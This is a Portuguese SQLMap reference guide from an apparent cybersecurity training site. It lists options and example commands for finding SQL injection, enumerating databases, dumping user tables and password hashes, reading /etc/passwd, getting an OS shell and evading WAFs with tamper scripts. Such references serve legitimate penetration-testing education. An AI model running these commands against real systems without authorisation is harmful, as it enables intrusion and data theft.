Guia de referência SQLMap

Referência completa para automação de injeção SQL

Detecção • Enumeração • Extração de dados • Acesso shell

📅 Atualizado: Dezembro 2024⏱️ 20 min de leitura🔧 SQLMap 1.8+

📑 Navegação rápida

Uso básico Detecção Enumeração Extração de dados Acesso OS Bypass WAF Otimização

O que é SQLMap?

SQLMap é uma ferramenta de teste de penetração open-source que automatiza a detecção e exploração de falhas de injeção SQL. Suporta uma ampla gama de sistemas de gerenciamento de banco de dados, incluindo MySQL, Oracle, PostgreSQL, Microsoft SQL Server, SQLite, e muitos outros.

SQLMap vem pré-instalado no Kali Linux. Código fonte disponível em github.com/sqlmapproject/sqlmap.

📦 Instalação

Kali Linux (Pré-instalado)

sqlmap --version

Instalação pip

pip install sqlmap

Do Git

git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap && python sqlmap.py

Atualização

sqlmap --update

🎯 Uso básico

# Teste básico de parâmetro GET
sqlmap -u "http://<target>/page?id=1"

# Requisição POST
sqlmap -u "http://<target>/login" --data="user=admin&pass=test"

# Testar parâmetro específico
sqlmap -u "http://<target>/page?id=1&name=test" -p id

# De arquivo de requisição Burp
sqlmap -r request.txt

# Teste com cookie
sqlmap -u "http://<target>/page?id=1" --cookie="PHPSESSID=abc123"

# Cabeçalhos personalizados
sqlmap -u "http://<target>/api/data" --headers="Authorization: Bearer token123"

💡 Dica pro

Salve requisições do Burp Suite como arquivos e use -r request.txt — isso preserva automaticamente todos os cabeçalhos, cookies e dados POST.

🔍 Opções de detecção

Opção Descrição
--level=LEVEL Nível de teste (1-5, padrão 1). Maior = mais testes
--risk=RISK Nível de risco (1-3, padrão 1). Maior = testes mais arriscados
-p PARAM Testar apenas parâmetro específico
--dbms=DBMS Forçar SGBD específico (mysql, mssql, oracle, etc.)
--technique=TECH Especificar técnicas de injeção (BEUSTQ)
--string=STRING String que aparece em condição verdadeira
--not-string=STRING String que aparece em condição falsa

Técnicas de injeção (--technique)

B Boolean-based blind (cego baseado em booleano)
E Error-based (baseado em erros)
U UNION query-based (baseado em UNION)
S Stacked queries (consultas empilhadas)
T Time-based blind (cego baseado em tempo)
Q Inline queries (consultas inline)

📊 Enumeração

Opção Descrição
--banner Recuperar banner do SGBD
--current-user Usuário atual do banco de dados
--current-db Nome do banco de dados atual
--is-dba Verificar se usuário é DBA
--users Enumerar usuários do banco
--passwords Enumerar hashes de senhas
--privileges Enumerar privilégios de usuário
--dbs Enumerar bancos de dados
--tables Enumerar tabelas
--columns Enumerar colunas
--schema Enumerar esquema completo
--count Contar entradas nas tabelas

💾 Extração de dados

Opção Descrição
-D DB Especificar nome do banco de dados
-T TABLE Especificar nome da tabela
-C COLUMNS Especificar colunas (separadas por vírgula)
--dump Extrair conteúdo da tabela
--dump-all Extrair todos os bancos de dados
--start=N Começar a partir da linha N
--stop=N Parar na linha N
--where=COND Cláusula WHERE para extração
--sql-query=QUERY Executar consulta SQL personalizada
--sql-shell Shell SQL interativo

Fluxo de extração comum

# Passo 1: Listar bancos de dados
sqlmap -u "http://<target>/page?id=1" --dbs

# Passo 2: Listar tabelas no banco
sqlmap -u "http://<target>/page?id=1" -D targetdb --tables

# Passo 3: Listar colunas na tabela
sqlmap -u "http://<target>/page?id=1" -D targetdb -T users --columns

# Passo 4: Extrair colunas específicas
sqlmap -u "http://<target>/page?id=1" -D targetdb -T users -C username,password --dump

# Extrair tabela inteira
sqlmap -u "http://<target>/page?id=1" -D targetdb -T users --dump

🖥️ Acesso OS

Opção Descrição
--os-shell Shell OS interativo
--os-cmd=CMD Executar comando OS
--os-pwn Obter shell OOB (Meterpreter/VNC)
--file-read=FILE Ler arquivo do servidor
--file-write=LOCAL Escrever arquivo local no servidor
--file-dest=PATH Caminho de destino no servidor
--reg-read Ler chave do registro Windows

⚠️ Requisitos para shell OS

Acesso OS requer: suporte a stacked queries, privilégios DBA e permissões SGBD apropriadas (privilégio FILE para MySQL, xp_cmdshell para MSSQL).

📤 Opções de requisição

Opção Descrição
-r FILE Carregar requisição de arquivo
--data=DATA String de dados POST
--cookie=COOKIE Valor do cookie HTTP
--headers=HEADERS Cabeçalhos extras (separados por newline)
--user-agent=UA User-Agent personalizado
--random-agent Usar User-Agent aleatório
--referer=REFERER Cabeçalho Referer personalizado
--proxy=PROXY Usar proxy (http://host:port)
--tor Usar rede Tor
--method=METHOD Forçar método HTTP (GET/POST/PUT)

🛡️ Bypass WAF/IDS

Opção Descrição
--tamper=TAMPER Usar script(s) tamper
--delay=SECONDS Atraso entre requisições
--timeout=SECONDS Timeout de conexão
--retries=N Tentativas em problemas de conexão
--randomize=PARAM Randomizar valor do parâmetro
--safe-url=URL URL para visitar entre testes
--safe-freq=N Visitar URL safe a cada N requisições

Scripts tamper comuns

# Bypass de espaços
space2comment, space2plus, space2randomblank

# Manipulação de case
randomcase, uppercase, lowercase

# Codificação
base64encode, charencode, charunicodeencode

# Injeção de comentários
between, equaltolike, commalessmid

# Específicos do banco de dados
modsecurityzeroversioned (MySQL), sp_password (MSSQL)

# Múltiplos tampers
--tamper="space2comment,randomcase,charencode"

⚡ Otimização

Opção Descrição
--threads=N Threads concorrentes máx (padrão 1)
--batch Nunca pedir entrada do usuário (usar padrões)
--flush-session Limpar arquivos de sessão para o alvo
--fresh-queries Ignorar resultados de consultas em cache
--null-connection Não recuperar corpo da página (mais rápido)
-o Ativar flags de otimização
-v LEVEL Verbosidade (0-6, padrão 1)

🔥 Cenários de ataque comuns

# Scan automático completo
sqlmap -u "http://<target>/page?id=1" --batch --dbs

# Scan agressivo com todas as técnicas
sqlmap -u "http://<target>/page?id=1" --level=5 --risk=3

# Testar formulário de login POST
sqlmap -u "http://<target>/login" --data="user=admin&pass=test" --dbs

# Teste com autenticação
sqlmap -u "http://<target>/api/data?id=1" --cookie="session=abc123" --dbs

# Extrair e crackear senhas
sqlmap -u "http://<target>/page?id=1" --passwords --batch

# Obter shell OS
sqlmap -u "http://<target>/page?id=1" --os-shell

# Ler arquivo do servidor
sqlmap -u "http://<target>/page?id=1" --file-read="/etc/passwd"

# Scan com bypass WAF
sqlmap -u "http://<target>/page?id=1" --tamper="space2comment,randomcase" --random-agent

💉 Guia de referência SQLMap completo!

Você agora tem uma referência abrangente para a ferramenta de automação de injeção SQL mais poderosa. Da detecção à extração de dados até o acesso OS, esses comandos são o que os pentesters usam para explorar vulnerabilidades de banco de dados.

Detecção Enumeração Extração Bypass WAF Shell OS

Pronto para explorar sua próxima injeção SQL!

Validação de Conhecimento

Demonstre sua compreensão para ganhar pontos e progredir

1
Pergunta do Capítulo

Qual flag do SQLMap é usado para especificar uma URL alvo?

1
Ler
2
Validar
3
Concluir

Pronto para acompanhar seu progresso?

Crie uma conta gratuita para salvar seu progresso, ganhar pontos e acessar mais de 170 labs práticos de cibersegurança.

Comece a Aprender Grátis
Junte-se a 5.000+ hackers aprendendo cibersegurança com labs práticos. Criar Conta